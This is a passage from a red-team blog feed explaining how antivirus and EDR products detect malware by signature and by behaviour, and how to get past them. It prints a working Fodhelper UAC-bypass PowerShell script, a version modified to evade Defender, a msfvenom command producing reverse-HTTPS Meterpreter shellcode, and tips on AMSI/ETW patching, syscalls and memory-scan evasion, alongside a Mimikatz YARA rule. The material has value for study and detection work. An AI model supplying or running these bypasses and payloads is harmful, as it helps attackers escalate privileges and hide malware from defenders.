<p>Sample Code for PIC-Code can for example be found <a href="https://github.com/thefLink/C-To-Shellcode-Examples/blob/master/HelloWorld/HelloWorld.c">here</a>. For the Nim-Fans, one library was released ~2 weeks ago which also enables us to relatively easy write PIC-Code called <a href="https://github.com/zimawhit3/Bitmancer">Bitmancer</a>.</p>

<p>Is a program, that just calls <code class="language-plaintext highlighter-rouge">SystemFunction032</code> potentially malicious? :-) Or one, that just calls any other encryption/decryption function?</p>

<h2 id="links--resources">Links &amp; Resources</h2>

<ul>
  <li>Foliage <a href="https://github.com/SecIdiot/FOLIAGE">https://github.com/SecIdiot/FOLIAGE</a></li>
  <li>Ekko <a href="https://github.com/Cracked5pider/Ekko">https://github.com/Cracked5pider/Ekko</a></li>
  <li>Avoiding Memory Scanners blog <a href="https://www.blackhillsinfosec.com/avoiding-memory-scanners/">https://www.blackhillsinfosec.com/avoiding-memory-scanners/</a></li>
  <li>SystemFunction032 Benjamin Delphi Post <a href="https://blog.gentilkiwi.com/tag/systemfunction032">https://blog.gentilkiwi.com/tag/systemfunction032</a></li>
  <li>ReactOS Code SystemFunction032 <a href="https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725">https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725</a></li>
  <li>PIC Hello World code <a href="https://github.com/thefLink/C-To-Shellcode-Examples/blob/master/HelloWorld/HelloWorld.c">https://github.com/thefLink/C-To-Shellcode-Examples/blob/master/HelloWorld/HelloWorld.c</a></li>
  <li>Bitmancer Library <a href="https://github.com/zimawhit3/Bitmancer">https://github.com/zimawhit3/Bitmancer</a></li>
</ul>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[Some days ago I woke up in the middle of the night - thinking about the Advapi32.dll/SystemFunction032 function. Really? Yes. Strange, this InfoSec folks. This post will show my nightly idea and sample Code on how to weaponize it.]]></summary></entry><entry><title type="html">The difference between signature-based and behavioural detections</title><link href="https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/" rel="alternate" type="text/html" title="The difference between signature-based and behavioural detections" /><published>2022-09-27T00:00:00+00:00</published><updated>2022-09-27T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/"><![CDATA[<p>In this blog post, the main difference between signature-based and behavior-based Detections are explained. In addition, examples are shown with respective Detection bypasses.</p>

<!--more-->

<p>After publishing my <a href="https://twitter.com/ShitSecure/status/1482428360500383755">Packer</a>, more and more people asked me about why for example <code class="language-plaintext highlighter-rouge">MSF-</code> or <code class="language-plaintext highlighter-rouge">CobaltStrike- (CS)</code>-Payloads were still detected. Well, in the very first place the easy answer is, that there is:</p>

<ul>
  <li>A signature-based Detection, which was bypassed</li>
  <li>A behaviour-based Detection, which was triggered and killed the Process.</li>
</ul>

<p>There are multiple Detection-techniques, which a Packer <strong>can</strong> bypass and there are others, which technically <strong>cannot</strong> get bypassed. Writing a blog post about this topic is at least for me the easiest way to answer this, as in the future I can just send one link for these kind of questions. ;-)</p>

<p>Using my private Packer will result in an <code class="language-plaintext highlighter-rouge">antiScan.me</code> result like this for <code class="language-plaintext highlighter-rouge">MSF</code>-Packed Payloads:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/AntiScanMe.JPG" />
</p>

<p>But this <strong>does not</strong> mean, the Payload will not get detected from those AV-Vendors when executed <strong>on Runtime</strong>. Why? Keep reading.</p>

<h2 id="signature-based-detections">Signature-based Detections</h2>

<p>Signature-based Detections are very simple. The very first AV solutions had a signature database with <em>File-Hashes</em> and they just compared the Hash of any executable on disk with the <em>known malicious executable</em> softwares Hash. E.g. this database contained the SHA1/MD5 Hash of the release binary for <em>Mimikatz</em>. Changing the Hash of an executable is as simple as <strong>manipulating</strong> a single byte in it, so this Detection is not really reliable and at least I hope not commonly used anymore anyway in 2022.</p>

<p>Because of the fact, that this is <strong>not reliable</strong> vendors moved to detecting specific <strong>byte pattern</strong> signatures as alternative. So to stay with the example of Mimikatz specific <strong>byte patterns/hex values</strong> are flagged like:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">73</span> <span class="mo">00</span> <span class="mi">65</span> <span class="mo">00</span> <span class="mi">6</span><span class="no">B</span> <span class="mo">00</span> <span class="mi">75</span> <span class="mo">00</span> <span class="mi">72</span> <span class="mo">00</span> <span class="mi">6</span><span class="no">C</span> <span class="mo">00</span> <span class="mi">73</span> <span class="mo">00</span> <span class="mi">61</span> <span class="mo">00</span> <span class="mi">5</span><span class="no">F</span> <span class="mo">00</span> <span class="mi">6</span><span class="no">D</span> <span class="mo">00</span> <span class="mi">69</span> <span class="mo">00</span> <span class="mi">6</span><span class="no">E</span> <span class="mo">00</span> <span class="mi">69</span> <span class="mo">00</span> <span class="mi">64</span> <span class="mo">00</span> <span class="mi">75</span> <span class="mo">00</span> <span class="mi">6</span><span class="no">D</span> <span class="mo">00</span> <span class="mi">70</span>
<span class="o">--&gt;</span> <span class="no">HEX</span> <span class="n">values</span> <span class="k">for</span> <span class="n">s</span><span class="p">.</span><span class="nf">e</span><span class="p">.</span><span class="nf">k</span><span class="p">.</span><span class="nf">u</span><span class="p">.</span><span class="nf">r</span><span class="p">.</span><span class="nf">l</span><span class="p">.</span><span class="nf">s</span><span class="p">.</span><span class="nf">a</span><span class="p">.</span><span class="nf">_</span><span class="p">.</span><span class="nf">m</span><span class="p">.</span><span class="nf">i</span><span class="p">.</span><span class="nf">n</span><span class="p">.</span><span class="nf">i</span><span class="p">.</span><span class="nf">d</span><span class="p">.</span><span class="nf">u</span><span class="p">.</span><span class="nf">m</span><span class="p">.</span><span class="nf">p</span>
</code></pre></div></div>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/MimikatzHex.JPG" />
</p>

<p>It just makes sense here to not only flag one pattern per <em>known malicious binary/payload</em> but to use multiple common patterns. Mimikatz is always a good example for signature-based Detections as typically vendors have dozens of patterns for Mimikatz binary Detections. By doing is this way, they make sure, that also slightly modified versions get detected.</p>

<p>Even more advanced Detections can be build with <a href="https://github.com/Yara-Rules/rules">yara rules</a>. These rules can either Scan <strong>files</strong> or <strong>Memory contents</strong> and allow much more complex conditions and combinations of different patterns. An example Mimikatz yara rule looks like this:</p>

<p><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar">Elastic Mimikatz Yara rule</a></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rule</span> <span class="no">Windows_Hacktool_Mimikatz_1388212a</span> <span class="p">{</span>
    <span class="ss">meta:
        </span><span class="n">author</span> <span class="o">=</span> <span class="s2">"Elastic Security"</span>
        <span class="nb">id</span> <span class="o">=</span> <span class="s2">"1388212a-2146-4565-b93d-4555a110364f"</span>
        <span class="n">fingerprint</span> <span class="o">=</span> <span class="s2">"dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7"</span>
        <span class="n">creation_date</span> <span class="o">=</span> <span class="s2">"2021-04-13"</span>
        <span class="n">last_modified</span> <span class="o">=</span> <span class="s2">"2021-08-23"</span>
        <span class="n">threat_name</span> <span class="o">=</span> <span class="s2">"Windows.Hacktool.Mimikatz"</span>
        <span class="n">reference_sample</span> <span class="o">=</span> <span class="s2">"66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"</span>
        <span class="n">severity</span> <span class="o">=</span> <span class="mi">100</span>
        <span class="n">arch_context</span> <span class="o">=</span> <span class="s2">"x86"</span>
        <span class="no">Scan_context</span> <span class="o">=</span> <span class="s2">"file, Memory"</span>
        <span class="n">license</span> <span class="o">=</span> <span class="s2">"Elastic License v2"</span>
        <span class="n">os</span> <span class="o">=</span> <span class="s2">"windows"</span>
    <span class="ss">strings:
        </span><span class="vg">$a1</span> <span class="o">=</span> <span class="s2">"   Password: %s"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a2</span> <span class="o">=</span> <span class="s2">"  * Session Key   : 0x%08x - %s"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a3</span> <span class="o">=</span> <span class="s2">"   * Injecting ticket : "</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a4</span> <span class="o">=</span> <span class="s2">" ## / </span><span class="se">\\</span><span class="s2"> ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a5</span> <span class="o">=</span> <span class="s2">"Remove mimikatz driver (mimidrv)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a6</span> <span class="o">=</span> <span class="s2">"mimikatz(commandline) # %s"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a7</span> <span class="o">=</span> <span class="s2">"  Password: %s"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a8</span> <span class="o">=</span> <span class="s2">" - SCardControl(FEATURE_CCID_ESC_COMMAND)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a9</span> <span class="o">=</span> <span class="s2">" * to 0 will take all 'cmd' and 'mimikatz' Process"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a10</span> <span class="o">=</span> <span class="s2">"** Pass The Ticket **"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a11</span> <span class="o">=</span> <span class="s2">"-&gt; Ticket : %s"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a12</span> <span class="o">=</span> <span class="s2">"Busylight Lync model (with bootloader)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a13</span> <span class="o">=</span> <span class="s2">"mimikatz.log"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a14</span> <span class="o">=</span> <span class="s2">"Log mimikatz input/output to file"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a15</span> <span class="o">=</span> <span class="s2">"ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a16</span> <span class="o">=</span> <span class="s2">"ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a17</span> <span class="o">=</span> <span class="s2">"ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a18</span> <span class="o">=</span> <span class="s2">"ERROR mimikatz_doLocal ; </span><span class="se">\"</span><span class="s2">%s</span><span class="se">\"</span><span class="s2"> module not found !"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a19</span> <span class="o">=</span> <span class="s2">"Install and/or start mimikatz driver (mimidrv)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a20</span> <span class="o">=</span> <span class="s2">"Target: %hhu (0x%02x - %s)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a21</span> <span class="o">=</span> <span class="s2">"mimikatz Ho, hey! I'm a DC :)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a22</span> <span class="o">=</span> <span class="s2">"mimikatz service (mimikatzsvc)"</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a23</span> <span class="o">=</span> <span class="s2">"[masterkey] with DPAPI_SYSTEM (machine, then user): "</span> <span class="n">wide</span> <span class="n">fullword</span>
        <span class="vg">$a24</span> <span class="o">=</span> <span class="s2">"$http://blog.gentilkiwi.com/mimikatz 0"</span> <span class="n">ascii</span> <span class="n">fullword</span>
        <span class="vg">$a25</span> <span class="o">=</span> <span class="s2">" * Username : %wZ"</span> <span class="n">wide</span> <span class="n">fullword</span>
    <span class="ss">condition:
        </span><span class="mi">3</span> <span class="n">of</span> <span class="p">(</span><span class="vg">$a</span><span class="o">*</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So in this case if three of the mentioned strings are found either <strong>in a file</strong> or <strong>in Memory</strong> this rule will trigger and the AV/EDR Software can do an action like alerting or killing the Process. Detections like this can for example bypassed with the technique I described in my <a href="https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/">Building a custom Mimikatz binary</a> blog post.</p>

<h2 id="the-inner-workings-of-a-packer">The inner workings of a Packer</h2>

<p>It is important to understand how a Packer basically works to get an idea of what it <strong>can</strong> do and what <strong>is not</strong> possible. In the very end, it is about a Software, which wraps a Payload into another Program to avoid <strong>signature-based</strong> Detections for it. So if a Payload like Mimikatz contained specific Strings, these Strings will not be visible anymore in the resulting Binary. The wrapping Process can be done with either some encoding/obfuscation or with encryption. I’m personally preferring to encrypt the Payload, as this will result in the best randomness - and therefore least signature-based Detections.</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/Packer.png" />
</p>

<p>This encoded or encrypted Payload has to be <strong>decoded/decrypted</strong> in the resulting Loader-Program, so that the cleartext Payload can get executed <strong>from Memory</strong>.</p>

<p>Depending on the Payload, it is possible for a Packer to also get rid of more Detections <strong>in the current</strong> or <strong>remote Process</strong>:</p>

<ol>
  <li>If your Packer is <strong>Patching/bypassing AMSI</strong>, you can safely execute different <strong>known malicious</strong> Scripts (PS1,VBA,JS and so on) or C# assemblies from Memory.</li>
  <li>To get rid of <a href="https://github.com/xuanxuan0/TiEtwAgent">ETW based Detections</a>, a Packer can also <strong>Patch/bypass ETW</strong> via different published techniques.</li>
  <li>Hooking based Detections for Win32 APIs can be bypassed with e.G. unhooking or direct/indirect Syscall usage.</li>
  <li><a href="https://practicalsecurityanalytics.com/file-entropy/">Entropy based Detections</a> will detect many Packers, as encryption of a Payload will lead to a very high entropy due to the randomness. This can be bypassed for example by adding thousands of words into the resulting Binary, as this decreases the entropy again.</li>
</ol>

<p>My private Packer also makes use of all of these things mentioned.</p>

<p>But even if all these techniques are applied, there are more potential “problems” left:</p>
<ol>
  <li>Memory Scans</li>
  <li>Behavioural Detections</li>
  <li>Threat Hunters / Blue Team</li>
</ol>

<p>In general it is possible to also bypass Memory Scans with a Packer, but this is very limited as you will see later on.</p>

<h2 id="memory-scans-and-general-bypass-techniques">Memory Scans and general bypass techniques</h2>

<p>As signature-based Detections can easily get bypassed with the Packer technique, more and more AV/EDR vendors tend to also do Memory Analysis with Scans. These Scans are typically not done all the time over all Processes, as this would be too resource-consuming, but can be triggered by specific conditions.</p>

<p>A Memory Scan for example typically appears in the following situations:</p>

<ul>
  <li>A new Process is spawned, e.G. running an executable</li>
  <li>The behaviour of a Process triggers a Memory Scan</li>
</ul>

<p>The first one is trivial to bypass. Even a Packer can for example just sleep a given time <strong>before</strong> decoding/decrypting the real Payload. In that case, the Memory Scan will take place but won’t find anything, as the Payload is still encrypted.
There are ways to still detect <strong>Win32 Sleep</strong> based Memory Scan bypasses, for example <a href="https://github.com/ZeroMemoryEx/SleepKiller">demonstrated here</a>. As an alternative to using <code class="language-plaintext highlighter-rouge">Sleep</code> you could therefore also execute pseudo-code for a specific amount of time or do calculations. There are many alternatives to using <code class="language-plaintext highlighter-rouge">Sleep</code>.</p>

<p>But in general, there are different approaches to bypass Memory Scans:</p>

<ul>
  <li>Changing/modifying the source code of your Payload to avoid signature-based Detections</li>
  <li>Changing the behaviour of your Payload, so that the Memory Scan will never trigger at all</li>
  <li>Memory encryption</li>
</ul>

<p>I personally prefer the first option, it’s one time effort per Software and as long as the new code base is not made public, it should also not get detected in the future.</p>

<p>Bypassing behavior-based Memory Scans is harder depending on <em>what your Payload is doing</em>. Just imagine the behaviour of Mimikatz (for example opening up a Handle to LSASS with <code class="language-plaintext highlighter-rouge">OpenProcess</code>) triggers a Scan - in this moment there is no way to hide Mimikatz from Memory as it <strong>needs</strong> to be unencrypted to do it’s work. So Memory encryption will not be an option for Mimikatz. And don’t get my wrong, I would not recommend to use Mimikatz for LSASS dumping in 2022 anyway <a href="https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/">as mentioned here</a>. It’s just a good example to understand it.</p>

<p>For <strong>well known</strong> C2-Frameworks like Cobalt Strike the most common option is Memory encryption. But if you don’t have access to source code, it’s not possible anyway to modify that to avoid Memory Detections. <code class="language-plaintext highlighter-rouge">¯\_(ツ)_/¯</code> 
C2-Frameworks in general are a good candidate for this technique, as they Sleep most of the time. And if a program doesn’t do anything, it’s Memory content can get encrypted in that time-frame without any problems.</p>

<h2 id="behaviour-based-detections---some-examples-and-bypasses">Behaviour-based Detections - some examples and bypasses</h2>

<p>But which behaviours could trigger an AV/EDR action or a Memory Scan on runtime? This can basically be everything. Writing stuff into Memory, loading specific libraries in a specific order and/or time-frame, creating registry entries, do initial HTTP requests or any other action.</p>

<p>I’ll give some few examples here with corresponding bypass techniques for Defender.</p>

<p>From my personal experience the least common <strong>action</strong> an AV/EDR does <strong>after</strong> detecting a specific <strong>behaviour</strong> is <em>instantly</em> killing the Process. Why is that? Well, AV/EDR vendors don’t want to have too many false positive findings. As false positive findings with the action of killing a Process can lead to disruptions in production environments which is really bad. So they need to be nearly 100% sure, that a behaviour is definitely Malware to kill the corresponding Process. This is also the reason, why many vendors combine the Detection of a behaviour with a Memory Scan afterwards to <strong>verify</strong> they found something Malicious.</p>

<h3 id="fodhelper-uac-bypass-example">Fodhelper UAC Bypass example</h3>

<p>One good example for a behaviour-based Detection, which leads to an AV action is the Fodhelper UAC bypass with Windows Defender. This one is really well known, but also very easy to exploit, as it’s just about creating a Registry Entry and calling <code class="language-plaintext highlighter-rouge">fodhelper.exe</code> afterwards:</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="c1">#</span>
<span class="o">.</span><span class="nv">SYNOPSIS</span>  
    <span class="nv">This</span> <span class="nv">script</span> <span class="nv">can</span> <span class="nv">bypass</span> <span class="nv">User</span> <span class="nv">Access</span> <span class="nv">Control</span> <span class="p">(</span><span class="nv">UAC</span><span class="p">)</span> <span class="nv">via</span> <span class="nv">fodhelper</span><span class="o">.</span><span class="nv">exe</span>
<span class="err">　</span>
    <span class="nv">It</span> <span class="nv">creates</span> <span class="nv">a</span> <span class="k">new</span> <span class="nv">registry</span> <span class="nv">structure</span> <span class="nv">in:</span> <span class="p">"</span><span class="s2">HKCU:</span><span class="se">\</span><span class="s2">Software</span><span class="se">\</span><span class="s2">Classes</span><span class="se">\</span><span class="s2">ms-settings</span><span class="se">\"</span><span class="s2"> to perform UAC bypass and starts 
    an elevated command prompt. 
    　
.NOTES  
    Function   : FodhelperUACBypass
    File Name  : FodhelperUACBypass.ps1 
    Author     : netbiosX. - pentestlab.blog 
　
.LINKS          
    https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
    https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/    
　
.EXAMPLE  
　
     Load </span><span class="p">"</span><span class="nv">cmd</span> <span class="o">/</span><span class="nv">c</span> <span class="nv">start</span> <span class="nv">C:</span><span class="o">\</span><span class="nv">Windows</span><span class="o">\</span><span class="nv">System32</span><span class="o">\</span><span class="nv">cmd</span><span class="o">.</span><span class="nv">exe</span><span class="p">"</span><span class="s2"> (it's default):
     FodhelperUACBypass 
　
     Load specific application:
     FodhelperUACBypass -Program </span><span class="p">"</span><span class="nv">cmd</span><span class="o">.</span><span class="nv">exe</span><span class="p">"</span><span class="s2">
     FodhelperUACBypass -Program </span><span class="p">"</span><span class="nv">cmd</span><span class="o">.</span><span class="nv">exe</span> <span class="o">/</span><span class="nv">c</span> <span class="nv">powershell</span><span class="o">.</span><span class="nv">exe</span><span class="p">"</span><span class="s2">　
#&gt;

function FodhelperUACBypass(){ 
 Param (
           
        [String]</span><span class="si">$Program</span><span class="s2"> = </span><span class="p">"</span><span class="nv">cmd</span> <span class="o">/</span><span class="nv">c</span> <span class="nv">start</span> <span class="nv">C:</span><span class="o">\</span><span class="nv">Windows</span><span class="o">\</span><span class="nv">System32</span><span class="o">\</span><span class="nv">cmd</span><span class="o">.</span><span class="nv">exe</span><span class="p">"</span><span class="s2"> #default
       )
　
    #Create Registry Structure
    New-Item </span><span class="p">"</span><span class="nv">HKCU:</span><span class="o">\</span><span class="nv">Software</span><span class="o">\</span><span class="nv">Classes</span><span class="o">\</span><span class="nv">ms</span><span class="o">-</span><span class="nv">settings</span><span class="o">\</span><span class="nv">Shell</span><span class="o">\</span><span class="nv">Open</span><span class="o">\</span><span class="nv">command</span><span class="p">"</span><span class="s2"> -Force
    New-ItemProperty -Path </span><span class="p">"</span><span class="nv">HKCU:</span><span class="o">\</span><span class="nv">Software</span><span class="o">\</span><span class="nv">Classes</span><span class="o">\</span><span class="nv">ms</span><span class="o">-</span><span class="nv">settings</span><span class="o">\</span><span class="nv">Shell</span><span class="o">\</span><span class="nv">Open</span><span class="o">\</span><span class="nv">command</span><span class="p">"</span><span class="s2"> -Name </span><span class="p">"</span><span class="nv">DelegateExecute</span><span class="p">"</span><span class="s2"> -Value </span><span class="p">""</span><span class="s2"> -Force
    Set-ItemProperty -Path </span><span class="p">"</span><span class="nv">HKCU:</span><span class="o">\</span><span class="nv">Software</span><span class="o">\</span><span class="nv">Classes</span><span class="o">\</span><span class="nv">ms</span><span class="o">-</span><span class="nv">settings</span><span class="o">\</span><span class="nv">Shell</span><span class="o">\</span><span class="nv">Open</span><span class="o">\</span><span class="nv">command</span><span class="p">"</span><span class="s2"> -Name </span><span class="p">"(</span><span class="nv">default</span><span class="p">)"</span><span class="s2"> -Value </span><span class="si">$Program</span><span class="s2"> -Force
　
    #Start fodhelper.exe
    Start-Process </span><span class="p">"</span><span class="nv">C:</span><span class="o">\</span><span class="nv">Windows</span><span class="o">\</span><span class="nv">System32</span><span class="o">\</span><span class="nv">fodhelper</span><span class="o">.</span><span class="nv">exe</span><span class="p">"</span><span class="s2"> -WindowStyle Hidden
　
    #Cleanup
    Start-Sleep 3
    Remove-Item </span><span class="p">"</span><span class="nv">HKCU:</span><span class="o">\</span><span class="nv">Software</span><span class="o">\</span><span class="nv">Classes</span><span class="o">\</span><span class="nv">ms</span><span class="o">-</span><span class="nv">settings</span><span class="o">\</span><span class="p">"</span><span class="s2"> -Recurse -Force
　
}
</span></code></pre></div></div>
<p><a href="https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692">This code snipped was taken from here</a></p>

<p>Executing this with Defender enabled will lead to the following Detection:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/FodhelperDetection.JPG" />
</p>

<p>This alert neither kills the executing nor the newly spawned Process, but can still lead to Detections in any engagement. The Detection itself <strong>cannot</strong> be bypassed with an AMSI bypass and Patching ETW also <strong>doesn’t</strong> help. Because it’s a specific behaviour triggering this Alert.</p>

<p>I did some light Analysis with trial and error about what specifically is flagged here and found out, that Defender does not like any <strong>.exe</strong> in the <em>HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default)</em> entry as well as the Directories <em>*C:\windows\system32*</em> and <em>*C:\windows\syswow64*</em>.</p>

<p>So the behaviour, which triggers an Alert is <strong>creating a Registry Entry</strong> in the mentioned Directory <strong>with</strong> one of the Strings.</p>

<p>Luckily for us, we don’t need to specify <strong>.exe</strong> to execute a Binary and also both Directories are not necessarily needed for exploitation. So as an alternative, we could just copy e.G. a C2-Stager into any writable Directory and execute it with the UAC-Bypass without calling the extension.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">FodhelperUACBypass</span> <span class="o">-</span><span class="no">Program</span> <span class="no">C</span><span class="p">:\</span><span class="n">temp</span><span class="p">\</span><span class="n">stager</span> <span class="c1"># Real filename is stager.exe but this would trigger an alert.</span>
</code></pre></div></div>

<p>But in 2022, many OffSec People will have gotten aware of the fact, that running any unsigned executables on a system with AV/EDR installed might not be a very good idea. So as an alternative we could also execute any signed <strong>trusted</strong> executable and drop a corresponding Sideloading-DLL into the same directory. Third option: we can copy <em>rundll32.exe</em> into our writable Directory and execute it from there:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">function</span> <span class="no">FodhelperUACBypass</span><span class="p">(){</span> 
 <span class="no">Param</span> <span class="p">(</span>
           
        <span class="p">[</span><span class="no">String</span><span class="p">]</span><span class="vg">$run</span> <span class="o">=</span> <span class="s2">"C:</span><span class="se">\t</span><span class="s2">emp</span><span class="se">\p</span><span class="s2">eng C:</span><span class="se">\t</span><span class="s2">emp</span><span class="se">\c</span><span class="s2">alc.dll,NimMain"</span> <span class="c1">#NimMain only for Nim Dlls ;-)</span>
       <span class="p">)</span>
    <span class="c1"># Copy C:\windows\system32\rundll32.exe to C:\temp\Peng.exe</span>
    <span class="n">copy</span> <span class="no">C</span><span class="p">:\</span><span class="n">windows</span><span class="p">\</span><span class="n">system32</span><span class="p">\</span><span class="n">rundll32</span><span class="p">.</span><span class="nf">exe</span> <span class="no">C</span><span class="p">:\</span><span class="n">temp</span><span class="p">\</span><span class="no">Peng</span><span class="p">.</span><span class="nf">exe</span>
    <span class="c1">#Create Registry Structure</span>
    <span class="no">New</span><span class="o">-</span><span class="no">Item</span> <span class="s2">"HKCU:</span><span class="se">\S</span><span class="s2">oftware</span><span class="se">\C</span><span class="s2">lasses</span><span class="se">\m</span><span class="s2">s-settings</span><span class="se">\S</span><span class="s2">hell</span><span class="se">\O</span><span class="s2">pen</span><span class="se">\c</span><span class="s2">ommand"</span> <span class="o">-</span><span class="no">Force</span>
    <span class="no">New</span><span class="o">-</span><span class="no">ItemProperty</span> <span class="o">-</span><span class="no">Path</span> <span class="s2">"HKCU:</span><span class="se">\S</span><span class="s2">oftware</span><span class="se">\C</span><span class="s2">lasses</span><span class="se">\m</span><span class="s2">s-settings</span><span class="se">\S</span><span class="s2">hell</span><span class="se">\O</span><span class="s2">pen</span><span class="se">\c</span><span class="s2">ommand"</span> <span class="o">-</span><span class="no">Name</span> <span class="s2">"DelegateExecute"</span> <span class="o">-</span><span class="no">Value</span> <span class="s2">""</span> <span class="o">-</span><span class="no">Force</span>
    <span class="no">Set</span><span class="o">-</span><span class="no">ItemProperty</span> <span class="o">-</span><span class="no">Path</span> <span class="s2">"HKCU:</span><span class="se">\S</span><span class="s2">oftware</span><span class="se">\C</span><span class="s2">lasses</span><span class="se">\m</span><span class="s2">s-settings</span><span class="se">\S</span><span class="s2">hell</span><span class="se">\O</span><span class="s2">pen</span><span class="se">\c</span><span class="s2">ommand"</span> <span class="o">-</span><span class="no">Name</span> <span class="s2">"(default)"</span> <span class="o">-</span><span class="no">Value</span> <span class="vg">$run</span> <span class="o">-</span><span class="no">Force</span>
    <span class="c1">#Start fodhelper.exe</span>
    <span class="no">Start</span><span class="o">-</span><span class="no">Process</span> <span class="s2">"C:</span><span class="se">\W</span><span class="s2">indows</span><span class="se">\S</span><span class="s2">ystem32</span><span class="se">\f</span><span class="s2">odhelper.exe"</span>
    <span class="c1">#Cleanup</span>
    <span class="no">Start</span><span class="o">-</span><span class="no">Sleep</span> <span class="mi">3</span>
    <span class="no">Remove</span><span class="o">-</span><span class="no">Item</span> <span class="s2">"HKCU:</span><span class="se">\S</span><span class="s2">oftware</span><span class="se">\C</span><span class="s2">lasses</span><span class="se">\m</span><span class="s2">s-settings</span><span class="se">\"</span><span class="s2"> -Recurse -Force
}
</span></code></pre></div></div>

<h3 id="meterpreter-behaviour-based-detections">Meterpreter behaviour-based Detections</h3>

<p>As many people also asked me about why their <code class="language-plaintext highlighter-rouge">MSF</code>-Payloads still get flagged, I decided to also show some (nothing new, everything already published somewhere) background information about that.</p>

<p>First things first: Don’t use staged Payloads, they will always get caught at least by Defender and I don’t plan to modify the source Code of Meterpreter in this post. ;-)</p>

<p>So in our case we’ll generate <em>stageless</em> reverse-HTTPS Shellcode for execution. This can be done for example with the following command:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msfvenom</span> <span class="o">-</span><span class="nb">p</span> <span class="n">windows</span><span class="o">/</span><span class="n">x64</span><span class="o">/</span><span class="n">meterpreter_reverse_https</span> <span class="no">LHOST</span><span class="o">=</span><span class="p">(</span><span class="no">IP</span> <span class="no">Address</span><span class="p">)</span> <span class="no">LPORT</span><span class="o">=</span><span class="p">(</span><span class="no">Your</span> <span class="no">Port</span><span class="p">)</span> <span class="o">-</span><span class="n">f</span> <span class="n">raw</span> <span class="o">&gt;</span> <span class="no">Shellcode</span><span class="p">.</span><span class="nf">bin</span>
</code></pre></div></div>

<p>I will not cover the <em>stealth</em> way of executing this Shellcode here, as I want to show the behavioural Detection but in general you’ll need the following:</p>

<ol>
  <li>Encrypt the Shellcode and decrypt it on runtime to avoid signatures on disk or as alternative load it from a remote Web-Server on runtime</li>
  <li>Use direct or indirect Syscalls for execution, otherwise the Shellcode will get flagged <strong>before</strong> execution</li>
</ol>

<p>No need for Patching AMSI/ETW to get Meterpreter running in this case.</p>

<p>But even if you were bypassing the signature-based Detection on disk <strong>and</strong> the Shellcode Detection with Syscalls, you should be able to see one new Meterpreter Session incoming:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/MSFIncoming.JPG" />
</p>

<p>But this just means, that our initial Payload was executed successfully. One second later, the Process is killed and the following Detection appears:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/Meterpreter_Behaviour.JPG" />
</p>

